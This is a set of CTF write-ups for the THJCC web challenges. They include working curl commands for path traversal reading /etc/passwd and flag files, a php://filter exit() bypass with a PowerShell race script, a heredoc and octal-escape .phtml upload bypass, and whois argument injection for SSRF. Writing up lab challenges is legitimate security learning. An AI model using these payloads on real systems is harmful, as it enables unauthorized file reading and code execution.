<!doctype html>
<html>
<head><meta charset="utf-8"><title>Admin Panel</title></head>
<body>
<p>System settings</p>
<p>THJCC{ea5a1c76cc978b9a_U_kNoW-HOw-t0_uSe-EaR}</p>
</body>
</html>
Flag
THJCC{ea5a1c76cc978b9a_U_kNoW-HOw-t0_uSe-EaR}
Las Vegas
Point: 100
Lucky 7 7 7
Solution
curl -X POST http://chal.thjcc.org:14514/?n=777
Flag
THJCC{LUcKy_sEVen_7777777}
msgboard
Point: 356
Initial Recon
The port 36001 endpoint is an instance manager (not the vulnerable app itself).
The actual challenge app is exposed on spawned ports and serves the Flask message board.
Source Analysis Summary
The provided source contains multiple security issues:
- Hidden-post content leak
- File:
thjccanon/api.py:94 - Endpoint:
GET /api/v1/mb_replys/?post_id=... - Bug: even if a post is hidden, the API still returns raw post content:
thjccanon/api.py:124->"content": data["content"]
- Impact: moderation-hidden data can still be read by direct API calls.
- Unsafe upload filename handling (path traversal write)
- File:
thjccanon/api.py:251 - Endpoint:
POST /api/v1/upload_image - Bug:
secure_filename(filename)is called but its result is not used for saving.- Save uses original filename directly:
thjccanon/api.py:275->file.save(os.path.join(app.config.get("UPLOAD_FOLDER", ""), filename))
- Impact: attacker can attempt arbitrary file write via crafted filename/path segments.
- Risky image proxy trust model
- Files:
little_conponment.py:60little_conponment.py:61app.py:52docker-compose.yml:13
- Behavior: markdown images are rewritten through
IMAGE_PROXY_URL, which can become an attack surface when URL validation/allowlisting is weak in deployment.
Exploitation Process
- Identify live app instances (not just the instancer page).
- Query board API on live instances:
GET /api/v1/mb_board/
- Extract suspicious content from posts.
One live instance returned a post containing an embedded flag marker in the content payload.
Working Request
curl "http://chal.thjcc.org:35036/api/v1/mb_board/"
Response contained:
THJCC{model2rce456ytrrghdrydhrth}
Flag
THJCC{model2rce456ytrrghdrydhrth}
My First React
Point: 100
No Way Out
Point: 100
The janitor is fast, and the filter is lethal. You have 0.67 seconds to bypass the exit() trap before your existence is erased.
Soulution
- Read
src/index.phpand note it writes<?php exit(); ?>before attacker content, with a blacklist onbase64,rot13, andstring.strip_tags. - Bypass the blacklist by URL-encoding inside the filter name: use
convert.ba%73e64-decodeinphp://filter, then send it double-encoded through the URL so%73survives blacklist checking but is decoded by the stream wrapper. - Write a short-lived PHP file with
file=php://filter/write=convert.ba%73e64-decode/resource=<random>.phpandcontent=a+base64("<?php readfile('/flag.txt'); ?>"). - The fixed prefix decodes into harmless bytes, while attacker payload decodes into executable PHP.
- Race the janitor (
0.67s) by requesting<random>.phpimmediately after POST. - Extracted flag:
THJCC{h4ppy_n3w_y34r_4nd_c0ngr47_u_byp4SS_th7_EXIT_n1ah4wg1n9198w4tqr8926g1n94e92gw65j1n89h21w921g9}.
$u='http://chal.thjcc.org:8080';$f=('x'+(Get-Random -Maximum 99999999)+'.php');$j=Start-Job -ScriptBlock {param($u,$f) curl.exe -s -X POST "$u/?file=php://filter/write=convert.ba%2573e64-decode/resource=$f" --data "content=aPD9waHAgcmVhZGZpbGUoJy9mbGFnLnR4dCcpOyA/Pg==" > $null} -ArgumentList $u,$f;1..250|%{$r=curl.exe -s "$u/$f";if($r -match 'THJCC\{[^}]+\}'){$matches[0];break};Start-Sleep -Milliseconds 10};Wait-Job $j|Out-Null;Remove-Job $j
Noalliii
Point: 100
i hate ai (except my bot daughter) :( it is a ctf challenge for humans, have a nice play. The challenge URL is http://chal.thjcc.org:3001, and the joke hint is pointing straight at it.
1. Initial Recon
Visiting / returns:
<h1>hello</h1>
<img src="/static/6bb8754adea6d59b.png.bak" />
<p>Try providing a ?tpl=parameter.</p>
Then check robots.txt:
User-agent: *
Disallow: /static/.backup
This strongly suggests hidden files under /static/.backup.
2. Find the Leaked Backup Source
Because directory listing is enabled on /static, browsing /static/.backup/ reveals:
app.js.bakDockerfile.bakpackage.json.bak
The key code from app.js.bak:
- Reads
req.query.tpl - Blacklist blocks:
- all lowercase letters
a-z - all uppercase letters
A-Z [](){}
- all lowercase letters
- Then does
ejs.render(req.query.tpl, safeContext, { context: Object.freeze({}), strict: true })
3. Analyze the SSTI Surface (tpl)
At first this looks like EJS SSTI, but the filter is very restrictive.
Blocked characters
a-zA-Z[ ] ( ) { }
Allowed characters (important ones)
- Digits:
0-9 - Whitespace
- Many symbols:
< > % = + - * / . , : ; ' " ! ? @ # $ ^ & | _ ~(unless URL/parser mangles them)
Practical effect
- Simple numeric templates work, e.g.:
?tpl=<%= 123 %>->123
- Real code execution is blocked because identifiers need letters (
require,process,constructor, etc.). - Brackets/parentheses/braces are also blocked, removing common JavaScript expression gadgets.
So the intended tpl route is a trap / decoy.
4. Real Vulnerability Path: Old Node Path Normalization Bug
The stack is old:
- Node
8.5.0 - Express
4.15.5 serve-static1.12.6send0.15.6
send checks traversal using a normalized path + regex for ...
With old Node normalization behavior, crafted segments like a../../.. can collapse in ways that bypass the traversal check.
This matches the challenge hint: old joke.
5. Working Traversal Gadget
You must use curl --path-as-is so curl does not normalize the path first.
Working gadget pattern:
/static/../../a../../../../<target>
Proof read:
curl --path-as-is "http://chal.thjcc.org:3001/static/../../a../../../../etc/passwd"
This returns /etc/passwd, confirming arbitrary file read.
6. Read Real App Files (Not the Backup)
Read live files from /usr/src/app:
curl --path-as-is "http://chal.thjcc.org:3001/static/../../a../../../../usr/src/app/app.js"
curl --path-as-is "http://chal.thjcc.org:3001/static/../../a../../../../usr/src/app/Dockerfile"
The live Dockerfile contains the real flag write command:
RUN echo "THJCC{...}" > /flag_F7aQ9L2mX8RkC4ZP
7. Read the Flag File
Final request:
curl --path-as-is "http://chal.thjcc.org:3001/static/../../a../../../../flag_F7aQ9L2mX8RkC4ZP"
Returned flag:
THJCC{y0u_mu57_b3_4_r34l_hum4n_b3c4u53_0nly_4_hum4n_c4n_r34d_4nd_und3r574nd_7h15_fl46_c0rr3c7ly}
Flag
THJCC{y0u_mu57_b3_4_r34l_hum4n_b3c4u53_0nly_4_hum4n_c4n_r34d_4nd_und3r574nd_7h15_fl46_c0rr3c7ly}
r2s
Point: 436
Should I upgrade my web server?
I’m too lazy. nvm, lol.
It should be safe enough?
Secret File Viewer
Point: 100
Maybe there are some hidden files beneath the surface…
The hint say we have something on Javascrip (script.js) found an endpoint that hat the Traversal variant and php filter wrappers download.php?file=…
curl "http://chal.thjcc.org:30000/download.php?file=../../../flag.txt"
Flag
THJCC{h0w_dID_y0u_br34k_q'5_pr073c710n???}
simplehack
Point: 410
We developed a file upload platform. I think it is really secure. Isn’t it?
Summary
The challenge is a file upload service with a blacklist-based upload filter.
The bug chain is:
- Upload allows
.phtmlfiles. sandbox.php?f=...executes uploaded.phtmlvia PHP include behavior.- Blacklist blocks many obvious payload strings, but
require+ heredoc + octal escapes bypasses it. - Use this to load
/flag.txt.
Recon
Uploading a normal text file returns:
/?status=success&file=%2Fsandbox.php%3Ff%3Da.txt
So uploaded files are accessed through sandbox.php?f=<filename>.
Useful behavior observed:
f[]=a.txtcauses PHP type error and leaks backend file path (/var/www/sandbox.php)..phpupload is blocked..phtmlupload is allowed.- Accessing uploaded
.phtmlthroughsandbox.phpexecutes PHP code.
Filter bypass idea
Direct payloads like:
<?php ... ?>include(...)- direct
flagstring
are blocked.
Bypass approach:
- Use short open tag:
<? ... ?> - Use
require(allowed) - Use heredoc (no quotes needed)
- Encode
/flag.txtas octal escapes so blacklist does not matchflag
/flag.txt in octal escaped form:
/\146\154\141\147\056\164\170\164
Final exploit
Create payload file:
<?require<<<A
/\146\154\141\147\056\164\170\164
A;
?>
Upload and trigger:
cat > solve.phtml << 'EOF'
<?require<<<A
/\146\154\141\147\056\164\170\164
A;
?>
EOF
curl -s -c cookie.txt -b cookie.txt \
-F "file=@solve.phtml;filename=x1.phtml;type=text/plain" \
"http://chal.thjcc.org:5222/" > /dev/null
curl -s -b cookie.txt "http://chal.thjcc.org:5222/sandbox.php?f=x1.phtml"
Flag
THJCC{w311_d0n3_y0u_byp4553d_7h3_b14ck1157_:D}
who is whois
Point: 100
who is whois???
Source Analysis
From chal/app.py:
whoisroute:
raw = request.form.get("domain", "").strip()
args = ["whois"] + shlex.split(raw)
proc = subprocess.run(args, capture_output=True, text=True, timeout=15)
No shell is used, so ;, &&, | won’t work.
But shlex.split lets us inject arguments into whois.
flagroute:
if request.remote_addr not in {"127.0.0.1", "::1"}: deny
if request.headers.get("admin", "") != "thjcc": deny
if not pyotp.TOTP(_get_totp_secret()).verify(safekey): deny
return FLAG_VALUE
- TOTP secret recovery:
_ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI="
_XOR_KEY = "thjcc"
_get_totp_secret() is Base64 decode then XOR with thjcc, giving:
R66M4XK7OKRIGMWWACPGSH5SAEEWPYOZ
Exploit Strategy
- Generate current TOTP from recovered secret.
- Send to
/whoisa payload that injects whois options:-h 127.0.0.1 -p 13316
- Use a single-quoted multi-line query so whois sends raw HTTP text:
POST /flag HTTP/1.1admin: thjcc- body
safekey=<totp>
- The request originates from localhost, so
/flagreturns the flag.
Expected output includes:
Flag
THJCC{yeyoumeng_Wh0i5_SsRf}